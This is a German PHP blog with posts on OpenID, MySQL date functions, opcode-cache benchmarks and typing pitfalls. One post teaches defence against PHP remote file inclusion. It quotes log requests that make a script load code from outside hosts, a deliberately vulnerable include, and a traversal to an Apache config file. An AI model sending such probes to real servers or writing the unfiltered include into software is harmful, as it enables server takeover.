Die eigene Webseite als OpenID Identifier
Ich bin momentan dabei, mich in die OpenID Thematik einzuarbeiten. Die Idee dahinter ist so einfach wie genial: Nur noch ein einziger Login, also nur noch ein einziges Passwort, für alle Webseiten. Um sich bei beliebigen Webseiten einzuloggen wird man dazu zu einer persönlich ausgewählten Seite weitergeleitet, bei der man sich mit seinem Username und seinem Passwort einloggt. Diese kommuniziert dann im Hintergrund mit der Webseite, auf der man sich einloggen möchte, und schon kann man dort aktiv loslegen.
Die Vorteile sind eindeutig: Für die User bedeutet das nur noch ein einziges Passwort, das man sich merken muss. Für die Webseiten-Betreiber, auf deren Seite man sich einloggen muss (Relying Party), entfällt das Thema “Passwort-Sicherheit”, das momentan nur durch das teure Bezahlen eines SSL-Zertifikats für die Webseite sicherzustellen war. Die Verschlüsselung übernimmt die Webseite, die die Passwort-Prüfung übernimmt, der OpenID Provider.
Ich habe als meinen primären OpenID Provider Yahoo gewählt. Wer einen Yahoo-Account hat, der bekommt auf Wunsch automatisch eine OpenID.
Allerdings möchte ich mich nicht überall mit “https://me.yahoo.com/USERNAME” einloggen, sondern fände es schicker, statt dessen die Adresse einer meiner persönlichen Webseiten nutzen zu können. Gar kein Problem.
Alles, was man tun muss, um eine beliebige URL als OpenID-Kennung zu nutzen, ist in den Header der entsprechenden Seite folgende zwei Tags einzubauen:
<link rel="openid2.provider openid.server" href="https://open.login.yahooapis.com/openid/op/auth" />
<link rel="openid2.local_id openid.delegate" href="https://me.yahoo.com/USERNAME" />
Die openid2.local_id ist die Kennung, die man vom OpenID Provider bekommen hat, also die ID, mit der man sich sonst einloggen würde.
Den openid2.provider findet man heraus, indem man diese URL im Browser aufruft und sich den Quelltext der Datei anschaut und dort den openid2.provider herausliest. Für Yahoo ist dies der eben genannte “https://open.login.yahooapis.com/openid/op/auth”.
Andere OpenID-Provider findet man auf der offiziellen Webseite oder auch bei Wikipedia aufgelistet: List of OpenID providers bzw. OpenID.
TO_DAYS und FROM_DAYS in PHP
Ich war gerade mal so frei, eine einfache Implementierung der beiden MySQL-Funktionen TO_DAYS und FROM_DAYS in PHP zu basteln. Die Funktionen sind weder vollständig noch sonderlich elegant programmiert, aber sie sind mit den Werten aus MySQL kompatibel, d.h. man kann aus den Zahlen, die MySQL liefert in PHP ein Datum erstellen - und umgekehrt.
Sie funktionieren für’s hier und jetzt. Wer also in der 32bit Unix-Zeit bleibt, der sollte auf der sicheren Seite sein.
function TO_DAYS($date) {
$TZ = date_default_timezone_get();
date_default_timezone_set('UTC');
if (is_numeric($date)) {
$res = 719528 + (int) ($date / 86400);
} else {
$res = 719528 + (int) (strtotime($date) / 86400);
}
date_default_timezone_set($TZ);
return $res;
}
function FROM_DAYS($daystamp) {
return gmdate('Y-m-d', ($daystamp - 719528) * 86400);
}
Abstürze durch PHP OpCode Caches
Thomas Kruse hat auf seinem Blog everflux seine Erfahrungen zur Stabilität mit den diversen OpCode Caches veröffentlicht - mit einem ziemlich eindeutigen Ergebnis: Sie sind es allesamt nicht. Abstürze gehören wohl zur Regel.
Jetzt kommt der Haken: Ich kann das nicht bestätigen.
Wir setzen seit langem auf einigen unserer Webserver (zukünftig wohl auf allen) eAccelerator ein, und haben damit noch nie Probleme gehabt. Derzeit laufen alle unsere Server auf Intel-Prozessoren, und der Wechsel zu 64bit Betriebssystemen steht erst jetzt an - vielleicht ändert das etwas. Wir werden sehen.
Ausserdem hängt die Instabilität - allen Berichten zufolge - auch stark mit den eingesetzten Scripten zusammen.
Wir sind in der glücklichen Lage, das ohne große Auswirkungen für unsere Besucher herausfinden zu können - mehreren identische Webservern hinter einem guten Load Balancer und leistungsfähigem Server-Monitoring sei dank.
Sollte sich dann etwas anderes herausstellen, dann gibt’s das natürlich hier zu lesen.
Benchmarking PHP: eAccelerator und andere OpCode Caches
Die Aufgabenstellung: Die Applikationen aus unserem Hause sollen so stabil und leistungsfähig laufen wie möglich. Ein wichtiger Bestandteil der Applikations-Infrastruktur stellen in unserem Bereich die Webserver dar, die PHP-Unterstützung mitbringen müssen.
Bei meinen Versuchen, die bestmögliche, unseren Anforderungen entsprechende Serverkonfiguration zu finden, habe ich ein paar Benchmarks gemacht, die ich hier mit der Welt teilen möchte.
Die Benchmarks
Im ersten Schritt habe ich diverse OpCode Caches und den ZEND Optimizer ausprobiert.
Das Testsystem ist ein DELL PowerEdge R200 Server mit einem Core2Duo E4500 Prozessor und 4GB RAM. Darauf zugegriffen wurde über ein lokales 100 MBit Netzwerk.
Der Server läuft auf Debian Linux (64bit), als Webserver-Software kam Apache 2.2.3 mit PHP 5.2.0 über mod_php zum Einsatz. Allesamt wurden aus den Debian-Paketen installiert.
Für meine Benchmarks habe ich drei verschiedene Scripte verwendet:
- KCAPTCHA
Ein Script, das Captcha-Bildchen erzeugt. Dieses Script verwendet zwar relativ viel die GD2 Grafik-Library, wodurch ein großer Teil des Programmablaufs genaugenommen “fix” ist, weil die Geschwindigkeit von GD2 nicht durch die Optimierungen verändert wird. Das Programm führt aber auch einige Schleifen und Berechnungen in PHP durch, um die Grafik vor der Ausgabe zu verzerren. - Viel Code, wenig Ausführung
Das zweite war ein eigentlich sehr einfaches, selbst geschriebenes Script, das nicht viel mehr gemacht hat, als die Zahlen von 1 bis 100 in einer Schleife auszugeben. Zusätzlich habe ich allerdings (absichtlich sinnloserweise) eine 20 KByte große PHP-Datei includiert, die einige Funktionen enthält, die ich bei meinen Projekten regelmäßig verwende. Damit sollte sich die reine Aufruf-Geschwindigkeit messen lassen, ohne durch eine Script-Laufzeit groß beeinflusst zu werden. - WordPress
Last, but not least, um etwas praxisnäher zu testen: Eine WordPress 2.3-Installation, in die ich mit ein paar Blindtexten gefüllt habe. Als Datenbank kam eine ebenfalls lokal auf dem Server installierte MySQL-Instanz zum Einsatz.
Als Optimierer kamen zum Einsatz:
- eAccelerator 0.9.5.2
- XCache 1.2.2 (Cache an, Optimizer aus)
- Alternative PHP Cache (APC) 3.0.16
- ZEND Optimizer 3.3.3 (alle Optimierungsstufen aktiviert)
- ZEND Optimizer zusammen mit eAccelerator
An den Einstellungen der verschiedenen Optimizer habe ich nichts geändert, also so weit überhaupt möglich immer die Standard-Einstellungen verwendet.
Was ist ein OpCode Cache?
eAccelerator, XCache und APC stellen OpCode Caches dar. Ohne einen solchen wird bei PHP bei jedem Script-Aufruf das entsprechende Script frisch “compiliert” und dann ausgeführt. Wenn man aber einen OpCode Cache installiert, so werden die compilierten Scripte im Speicher gehalten, so dass sie bei einem weiteren Aufruf aus der Konserve verwendet werden können. Das spart ab dem zweiten Aufruf die Compilierungs-Zeit.
Einige der Caches bringen auch noch einen Optimizer mit.
Was ist ein OpCode Optimizer?
Der ZEND Optimizer dagegen ist ein OpCode Optimizer, der versucht, PHP-Scripte bei der Compilierung zu optimieren, sie also schneller zu machen. Als Beispiel kann man sich beispielsweise eine “kleine Schleife” vorstellen:
for ($i = 0; $i < 3; $i++) {
echo 'Schleife<br />';
}
echo 'Schleife<br />';
echo 'Schleife<br />';
echo 'Schleife<br />';
Beide Beispiele ergeben das gleiche Resultat. Das obere Beispiel ist als Programmcode vielleicht ein bisschen “hübscher” anzusehen. Trotzdem ist die untere Variante etwas schneller. Es müssen keine Variablen initialisiert, verglichen und hochgezählt werden, es muss nicht “im Programm zurückgesprungen” werden. Klarer Geschwindigkeitsgewinn. Noch schneller wäre es als eine einzelne “echo”-Anweisung.
Solche Muster zu erkennen und zu ersetzen ist die Aufgabe eines OpCode Optimizers.
Benchmark 1: KCaptcha
Jetzt aber zu den Testergebnissen. Um die Geschwindigkeit zu überprüfen kam das Tool Apache Benchmark. Mit diesem habe ich von einem anderen Rechner über’s Netzwerk jeweils 10.000 Anfragen an die drei Test-Scripts abgefeuert, jeweils mit 20 parallel laufenden Anfragen.
Zuerst KCAPTCHA:
Die Skala unten gibt an, wie viele Sekunden für die 10.000 Aufrufe benötigt wurden.
Klarer Gewinner hier: Der eAccelerator.
| zend + eaccelerator | 177,54 Sek. |
| eaccelerator | 177,60 Sek. |
| xcache | 183,39 Sek. |
| apc | 187,46 Sek. |
| none | 190,00 Sek. |
| zend | 225,10 Sek. |
Auf den ersten Blick etwas überraschend mag wirken, dass der ZEND Optimizer sowohl auf dem ersten, als auch auf dem letzten Platz zu finden ist - ja sogar langsamer ist, als wenn man ganz auf den Einsatz einer Optimierung verzichtet. Die Lösung: Im Alleingang ohne OpCode Cache braucht der Optimizer mehr Zeit zum Optimieren, als durch die Optimierungen eingespart wird.
Im Gegenzug dazu kann der Optimizer in Kombination mit dem Cache seine Stärke ausspielen: Hier muss nur ein mal optimiert werden. Bei den folgenden 9.999 Aufrufen wird auf den bereits optimierten Code zugegriffen. Bei KCAPTCHA war die Ersparnis aber eher gering, was an der Struktur des Programmcodes liegt. Hier ist einfach nicht viel zu optimieren.
Benchmark 2: Test-Script “viel Code, wenig Ausführung”
Ein ähnliches Bild ergibt sich beim zweiten Testscript:
Hier tritt noch mehr in den Vorschein, dass der ZEND Optimizer die Laufzeit optimiert. Da dieses Script aber nahezu keine “Laufzeit” hat, sondern nahezu nur aus Compilieren besteht, liegt der ZEND Optimizer auch dieses mal ganz hinten. Wieder ist der eAccelerator der Gewinner:
| eaccelerator | 2,40 Sek. |
| apc | 2,48 Sek. |
| xcache | 2,51 Sek. |
| zend + eaccelerator | 2,85 Sek. |
| none | 11,60 Sek. |
| zend | 13,80 Sek. |
Man sieht aber eindeutig den Vorteil, den ein OpCode Cache mitbringt. Von 11,6 Sekunden auf 2,4 Sekunden sind durchaus spürbar.
Benchmark 3: WordPress
Zum Abschluss noch ein “praxisnäheres” Beispiel: Im dritten Durchlauf habe ich noch eine WordPress Installation getestet, indem ich 10.000 mal die Startseite aufgerufen habe. Ziel war es, herauszufinden, ob der ZEND Optimizer an dieser Stelle seine Asse ausspielen kann.
Auch dieses mal liegt der ZEND Optimizer ohne OpCode Cache abgeschlagen hinten. Was mich allerdings ein bisschen überrascht hat: Mit eingeschaltetem eAccelerator schnitt er immer noch schlechter ab, als der eAccelerator alleine.
| eaccelerator | 490,74 Sek. |
| xcache | 501,41 Sek. |
| apc | 501,45 Sek. |
| zend + eaccelerator | 506,40 Sek. |
| none | 873,98 Sek. |
| zend | 928,10 Sek. |
Fazit
Was die OpCode Caches angeht kann man eindeutig feststellen, dass es sich sehr lohnt, einen zu installieren. Der eAccelerator hat bei all meinen Tests als Sieger abgeschnitten, aber auch die anderen beiden Kandidaten haben sich nur unwesentlich schlechter geschlagen. Die Geschwindigkeitsgewinne gegenüber “Kein Cache” sind schwer in Zahlen auszudrücken, da sie von Anwendung zu Anwendung schwanken (abhängig des Verhältnisses “Compilierung” zu “Laufzeit”). Gerade bei WordPress, der getesteten Anwendung lag sie aber bei spürbaren 78% Leistungssteigerung.
Dagegen muss ich anhand der Ergebnisse meiner Tests von der Installation des ZEND Optimizers abraten, so lange nicht wichtige Gründe dafür vorliegen, warum er laufen muss. Im Normalfall ist er kontraproduktiv und verbraucht mehr Ressourcen als er einspart.
So viel zum ersten Teil meiner Forschungsreise. Im nächsten werde ich die Performance verschiedene Caching-Mechanismen vergleichen.
Unicode, UTF-8 und so weiter…
Wer schon immer mal mehr über Unicode lernen wollte, der sollte sich mal den Artikel “The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)” von Joel Spolsky anschauen.
Unicode was a brave effort to create a single character set that included every reasonable writing system on the planet and some make-believe ones like Klingon, too. Some people are under the misconception that Unicode is simply a 16-bit code where each character takes 16 bits and therefore there are 65,536 possible characters. This is not, actually, correct. It is the single most common myth about Unicode, so if you thought that, don’t feel bad.
Sicherer PHP-Code: PHP Code Injection verhindern
Wer ab und an mal einen Blick in seine Webserver-Logdateien wirft (was man als ernsthafter Webmaster regelmäßig tun sollte), der wird vermutlich früher oder später über derartige, seltsame Seitenaufrufe stolpern:
- “GET /fooscript.php?w=http%3A%2F%2Fhonamfishing.co.kr%2Fphpmysqladmin%2Flibraries%2Foduzov%2Fneloze%2F HTTP/1.0″
- “GET /fooscript.php?w=http%3A%2F%2Fsahel55.com%2Farticles%2Fomaduro%2Fkimumid%2F HTTP/1.0″
- “GET /fooscript.php?w=http%3A%2F%2Fwww.altaiseer-eg.com%2Far%2Farticles%2Fjed%2Fumut%2F HTTP/1.0″
- “GET /fooscript.php?w=http%3A%2F%2Fwww.channelnewsperu.com%2Fimagenes%2Fpublicaciones%2Ffotos%2Fnepicu%2Fegul%2F HTTP/1.0″
- “GET /fooscript.php?w=http%3A%2F%2Fwww.cjp.spb.ru%2Fen%2Ftis%2Fleboma%2F HTTP/1.0″
- “GET /fooscript.php?w=http%3A%2F%2Fwww.electrofed.com%2F_app%2Fefc%2Fodoqu%2Fferus%2F HTTP/1.0″
Das Muster ist immer das gleiche: Innerhalb von kurzer Zeit werden mehrere relativ ähnliche Aufrufe von ein und der selben IP gestartet. Dabei wird ein wirklich auf dem Server befindliches Script (in diesem Beispiel fooscript.php) aufgerufen und dabei einer der (ebenfalls wirklich existierenden) Parameter mit einer URL einer auf einem anderen Server liegenden Datei befüllt.
In den oben gezeigten Beispielen liegt unter den angegebenen Adressen eine Datei mit folgendem Inhalt:
<?php echo md5("just_a_test");?>
Es wird relativ schnell klar, was das eigentlich nur sein kann: Hier versucht jemand, eine Schwachstelle in den auf dem Server laufenden PHP-Scripten ausfindig zu machen.
PHP bietet nämlich die mächtige Funktionalität, auf URLs genau so lesend zuzugreifen wie auf lokal auf der Festplatte liegende Dateien. Das gilt für Datei-Operationen wie fopen genau so wie auch für - und hier wird’s für Hacker interessant - include und require.
Und wenn jetzt ein Programmierer so unvorsichtig war, in seinem Programm ungefiltert Werte aus dem Querystring an ein Include zu übergeben, der hat an diesem Punkt leider verloren.
<?php include $_GET['w'];?>
Was jetzt passiert ist folgendes: Das PHP-Script liest die im Seitenaufruf übergebene Web-Adresse aus und führt den dort liegenden Code aus. Es erscheint also der Text “c6db3524fe71d6c576098805a07e79e4” in der Seite (das ist die MD5-Checksumme von “just_a_test”). Damit weiss der Angreifer, dass er an dieser Stelle beliebigen PHP-Programmcode auf den Server einschleußen kann. Und wenn er das kann, dann hat er die Kontrolle über den Server. Er kann beliebige Daten “hochspielen”, in der Datenbank tun und lassen, was er will, und, und, und…
Was also dagegen tun?
Einerseits ist das mit dem Zugriff auf URLs so wie auf normale Dateien schon eine praktische Sache. Oft kann man aber darauf verzichten. Die Holzhammer-Methode ist, in der php.ini die Einstellung allow_url_fopen zu deaktivieren. Damit ist man auf der sicheren Seite, hat aber das “Problem”, dass man damit eben die ganze Funktionalität abgeschaltet hat, und zwar nicht nur für include und require, sondern auch bei den anderen, nicht so problematischen Datei-Operationen.
Ganz davon abgesehen hat man sich damit noch nicht dagegen geschützt, dass mit dem oben genannten include-Statement doch noch Schabernak getrieben werden kann.
Häufig ist die Anwendung eines solchen Includes ja, dass es eine Art “Framework-Seite” gibt, die beispielsweise das Layout beinhaltet und die Datenbank-Connection öffnet. Und darin werden dann einzelne Funktions-Module geladen. Man könnte sich beispielsweise vorstellen, dass mittels “index.php?w=home.php” die Datei home.php den Startseiten-Inhalt an der richtigen Stelle einblendet, während “index.php?w=links.php” im gleichen Layout eine Linkliste zeigt. Was aber, wenn ein Angreifer auf die Idee kommt, “index.php?w=/etc/apache2/apache2.conf” aufzurufen? Bekommt er dann die Konfigurationsdatei des Apache-Webservers angezeigt?
Da hilft nur eines: Sicherstellen, dass auf jeden Fall nur erlaubte Include-Pfade angegeben werden können. Eine erste gute Idee ist es schon mal, beim Include vorne und hinten an den übergebenen Parameter etwas anzuhängen:
<?php include '/var/www/includes/' . $_GET['w'] . '.plugin.php';?>
Damit fällt erstens die Möglichkeit weg, per “http://…” etwas von einem anderen Server zu laden, weil der damit generierte Dateiname keinen Sinn mehr macht. Ausserdem kann man nichts anderes mehr als Dateien “reinladen”, die mit “.plugin.php” enden.
Schöner, aber immer noch nicht perfekt. Noch ist der Angreifer nämlich nicht ganz eingeschränkt. Noch immer kann er mit Aufruf von “index.php?w=../../foo/bar” eine Datei aus einem anderen Verzeichnis als eigentlich vorgesehen aufrufen.
Ergo: Weiter filtern. Entweder mit einer Blacklist oder einer Whitelist.
Blacklist bedeutet: Wir suchen nach Mustern, die wir auf jeden Fall verbieten wollen. Wenn beispielsweise der übergebene Parameter “../” enthält, dann brechen wir ab. Das gute daran ist, dass wir relativ flexibel erlauben oder verbieten können, wie auf die Seite zugegriffen werden kann. Der Nachteil allerdings ist, dass wir alle möglichen Angriffs-Strategien vorausahnen und unterbinden müssen.
Sicherer sind Whitelists: Hier sagen wir, was erlaubt ist. Wir können beispielsweise eine Liste aller erlaubten Werte in einem Array halten und überprüfen, ob der beim Aufruf übergebene Wert enthalten ist:
$ok = array('home', 'links', 'downloads');if (in_array($_GET['w'], $ok)) { include '/var/www/includes/' . $_GET['w'] . '.plugin.php'; }
Dadurch verlieren wir aber einiges an Flexibilität, da wir jedes mal, wenn es eine neue Seite geben soll, auch den $ok-Array aktualisieren müssen. Wir könnten aber auch definieren, dass einfach alle include-Dateinamen einem bestimmten Muster folgen müssen. In etwa: Sie bestehen nur aus alphanumerischen Zeichen und Underscore. Ergebnis:
include '/var/www/includes/' .
preg_replace('/[^a-z0-9_]/i', '', $_GET['w']) .
'.plugin.php';
Und schon kommt uns an dieser Stelle nichts gemeines mehr rein.
So ganz ohne Haken ist das aber auch noch nicht: Erstens hat man bei fremden Scripten oft gar nicht so genau den Überblick, was darin eigentlich passiert - und zweitens muss man natürlich auch bei eigenen Scripten an jeder einzelnen relevanten Stelle aufpassen. Und last, but not least: Wenn das Script erst irgendwas halbwegs sinnvolles tut, dann aber wegen dem falschen Parameter abbricht, dann hat das zwar keine so fatalen Folgen mehr, kann aber einen negativen Beigeschmack haben.
Beispielsweise bringen solche Aufrufe gern Seiten-Abruf Statistiken durcheinander.
Deshalb zuletzt noch eine meiner Meinung nach sehr schöne Zusatzsicherung: Wenn man sicher sein kann, dass keines der auf dem Server laufenden Scripte ein “http:” im Querystring erwartet, dann kann man einen Apache-Webserver mittels ein paar Zeilen in der .htaccess absichern. Bedingung ist allerdings, dass man mod_rewrite installiert hat.
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]
Diese Befehle durchsuchen den eingehenden Request nach “http:”, und falls es vorkommen sollte, so antwortet der Server sofort mit einem “Forbidden”. Der Angreifer ist also abgewehrt, bevor es überhaupt zur Ausführung von PHP-Code kommt.
Allerdings daran denken: An manchen Stellen mag es durchaus Sinn machen, “http” als Parameter zu erlauben. Falls nicht, so ist das jedoch der Weg der Wahl - und falls doch, dann kann man auch dazu etwas mit mod_rewrite zaubern.
Untypisierte Variablen und logische Verknüpfungen
Ich habe mal wieder ein klassisches Beispiel für Probleme, die Auftreten können, wenn Variablen in einer Programmiersprache nicht sauber typisiert sind:
$x = 255; $y = 96;
echo $x, ' OR ', $y, ' => ', ($x | $y);
Die beiden Variablen werden ODER-Verknüpft. Das Ergebnis ist wie zu erwarten…
255 OR 96 => 255
Was aber, wenn die beiden Werte bei der Zuweisung keine “Zahlen”, sondern Zeichenketten waren?
$x = '255'; $y = '96';
echo $x, ' OR ', $y, ' => ', ($x | $y);
Überraschung:
255 OR 96 => ;75
Und auf ein mal funktioniert der ansonsten durchdachteste Algorithmus nicht mehr. Deshalb lieber immer mit Typecast arbeiten:
$x = '255'; $y = '96';
echo $x, ' OR ', $y, ' => ', ((int) $x | (int) $y);
MySQL unter Linux einrichten - Wie fange ich an?
MySQL ist eine der in Open Source Welt sehr verbreitete Datenbank. Teilweise liegt das sicher auch daran, dass sie unter diversen Linux-Distributionen sehr einfach zu installieren ist oder sogar direkt mit installiert wird.
Nach dem Installieren steht man dann aber mit einem tollen, laufenden Daemon da. Wie fängt man an?
- Wie setzt man das Passwort für den Datenbank-Admin “root”?
- Wie greift man auf den Datenbank-Dienst zu?
- Wie legt man eine neue Datenbank an?
- Wie legt man neue User an?
- Wie setzt man Berechtigungen für diese User?
Das steht eigentlich alles auch in der Dokumentation drin - aber dummerweise in Form einer Befehls-Referenz, so dass man eigentlich schon wissen oder ahnen muss, wonach man genau sucht, um auch fündig zu werden.
Also - wie fängt man an?
Diese Beschreibung gilt für eine frische Installation unter Debian Linux, wird sich aber bei anderen Linux-Distributionen vermutlich nur in Details unterscheiden.
Schritt 1: Ein Passwort für den Datenbank-Admin “root”
Nach der Installation mit apt-get oder aptitude hat der Datenbank-Admin noch kein Passwort. Das sollte man schnellstens ändern, indem man an der Shell das Tool “mysqladmin” aufruft:
# mysqladmin -u root password [NEUES-PASSWORT]
Schritt 2: Einloggen auf der Datenbank
Zum Zugriff auf der Datenbank gibt es das Client Programm “mysql“. Als Parameter übergibt man diesem den Usernamen und die Information, dass man sich mit einem Passwort einloggen möchte. Wenn man auf eine bestimmte Datenbank auf dem Server zugreifen möchte, so gibt man auch deren Namen als Parameter mit.
# mysql -u root -p
Nach dem Einloggen sieht das ganze eigentlich nicht viel anders aus als eine ganz normale Shell. Auf den ersten Blick wirkt nur vielleicht der Eingabeprompt etwas befremdlich (”mysql>”). An dieser Stelle werden jetzt aber SQL-Befehle an den DB-Server übergeben. Die Befehle müssen jeweils mit einem Semikolon “;” abgeschlossen werden. Wenn man nur Return drückt, so kann man den SQL-Befehl auf mehrere Zeilen weiterschreiben, bis eben ein Semikolon kommt.
Schritt 3: Das Anlegen einer neuen Datenbank
Eine neue Datenbank legt man an, indem man sich mittels “mysql” in die Datenbank einloggt und dann den SQL-Befehl “CREATE DATABASE” verwendet.
(Man kann auch über “mysqladmin” eine neue Datenbank anlegen. Ich bevorzuge aber den Weg über den SQL-Befehl.)
mysql> CREATE DATABASE neuedatenbank;
CREATE DATABASE kann noch einen Haufen weitere Parameter annehmen (Beispielsweise die Zeichencodierung). Diese sind in der Dokumentation zu finden.
Schritt 4: Das Anlegen eines neuen Datenbank-Users
User legt man konsequenterweise mit dem ähnlich klingenden Befehl “CREATE USER” an:
mysql> CREATE USER neueruser@localhost
IDENTIFIED BY 'neuespasswort';
Schritt 5: Zugriffsberechtigungen in MySQL setzen
Danach muss man dem User noch Rechte auf die Datenbank geben. Das geht mit dem Befehl “GRANT“:
mysql> GRANT ALL ON neuedatenbank.* TO neueruser@localhost;
Damit hat der User ALLE Rechte auf der entsprechenden Datenbank. Alternativ kann man ihm auch beispielsweise nur SELECT und INSERT (”SELECT, INSERT” statt “ALL”) oder auch nur Zugriff auf eine bestimmte Tabelle erlauben (”neuedatenbank.tabelle” statt “neuedatenbank.*”)
Danach ist es sinnvoll erst mal den Befehl “FLUSH PRIVILEGES;” abzufeuern, damit auch sichergestellt wird, dass die neu angelegten Zugriffsberechtigungen auch auf jeden Fall gelesen werden.
Schritt 6: Tools zur Administration
Zum Loslegen ist das erst mal genug. Ich würde danach möglichst schnell auf ein Admin-Werkzeug wie beispielsweise phpMyAdmin (PHP-basierte Weboberfläche) oder HeidiSQL (Windows) umsatteln, weil die Bedienung über die Konsole etwas mühselig ist.
Wenn man von Extern auf die Datenbank zugreifen will (beispielsweise über den Windows Client HeidiSQL), so muss man die Datenbank auf eine externe IP lauschen lassen. Das stellt man in der MySQL-Konfiguration my.cnf ein. Für “Produktivsysteme” würde ich aus Sicherheitsgründen davon aber abraten, so lange diese IP für jeden aus dem Internet zugänglich ist. Für Entwicklungs-Systeme im hausinternen Netzwerk gilt diese Einschränkung natürlich nicht.
Ausserdem muss natürlich auch ein User existieren, der sich von extern einloggen kann. User neueruser@localhost könnte das nicht, da er ja dann nicht von localhost käme.
GROUP_CONCAT()
Als Programmierer lernt man nie aus… Es gibt immer noch die eine Funktion, die das Arbeiten einfacher macht…
Heute bin ich über die Funktion GROUP_CONCAT() in MySQL gestolpert.
Eine ganz einfache Funktion - an sich wenig beeindruckend und alles andere als komplex. Nur: Ich hab sie bisher noch nicht gekannt. Im “allgemeinen SQL” existiert sie nicht, und auch bei Microsoft Transact-SQL konnte ich kein Äquivalent finden. Ich dachte mir immer “Wäre schön, wenn so was existieren würde” - aber nachgeschaut habe ich nie…
Was tut sie?
Wenn man einen SQL-Query mit einem GROUP BY einsetzt, dann kann man mit GROUP_CONCAT() alle Strings einer Spalte einfach konkatinieren, also hintereinander hängen. Auf Wunsch mit Trennzeichen.
Nehmen wir einfach mal an, wir haben eine Tabelle mit Blog-Einträgen und eine weitere Tabelle, in der die ganzen Tags zu diesen Blogeinträgen stehen - ein Tag pro Datensatz:
Blog_Posts:
|
Blog_Tags:
|
Jetzt wollen wir die Blogbeiträge incl. allen Tags auslesen. Wir haben drei Möglichkeiten:
- Wir lesen erst Blog_Posts und machen dann einen weiteren SELECT auf Blog_Tags - einen für jeden Blog-Eintrag. Dadurch fragen wir die beiden Tabellen oben nacheinander ab, erhalten also zwei Result-Sets, die wir mittels Programm zusammenführen müssen.
- Wir lassen SQL einen JOIN auf beide Tabellen ausführen und sortieren dann mittels Programm die Daten aus. Als Ergebnis bekommen wir beispielsweise…
SELECT P.Post_ID, P.Title, P.Tag
FROM Blog_Posts P
JOIN Blog_Tags T ON P.Post_ID = T.Post_ID
WHERE P.Post_ID = 1Post_ID Title Tag 1 Wetter sonne 1 Wetter wolken Wir müssen also auswerten, dass die beiden Zeilen zusammengehören und nur deshalb so erscheinen, weil mehrere Tags vorliegen.
- Wir setzen GROUP_CONCAT() ein, und lassen MySQL die Arbeit übernehmen.
SELECT P.Post_ID, P.Title,
GROUP_CONCAT(T.Tag SEPARATOR ', ') AS Tags
FROM Blog_Posts P
JOIN Blog_Tags T ON P.Post_ID = T.Post_ID
WHERE P.Post_ID = 1
GROUP BY P.Post_ID, P.TitlePost_ID Title Tags 1 Wetter sonne, wolken
Null und nichts in PHP
Vielleicht interessant für den einen oder anderen, dem dadurch die eine oder andere Minute Debuggen erspart bleibt…
Ich bin gerade einem seltsamen Phänomen in einem meiner Scripte nachgegangen. Eine meiner Variablen schien einfach zu verschwinden, dabei sollten nur die Variablen ohne Inhalt ignoriert werden.
Pustekuchen:
$x = 0;
if ($x == '') echo 'leer';
Dieses kleine Stückchen PHP-Programmcode spuckt tatsächlich “leer” aus, obwohl ich vorher eine 0 in $x gefüllt habe. Der richtige Weg, um zu überprüfen, ob eine Variable einen leeren String enthält, ist also
$x = 0;
if ($x === '') echo 'leer';


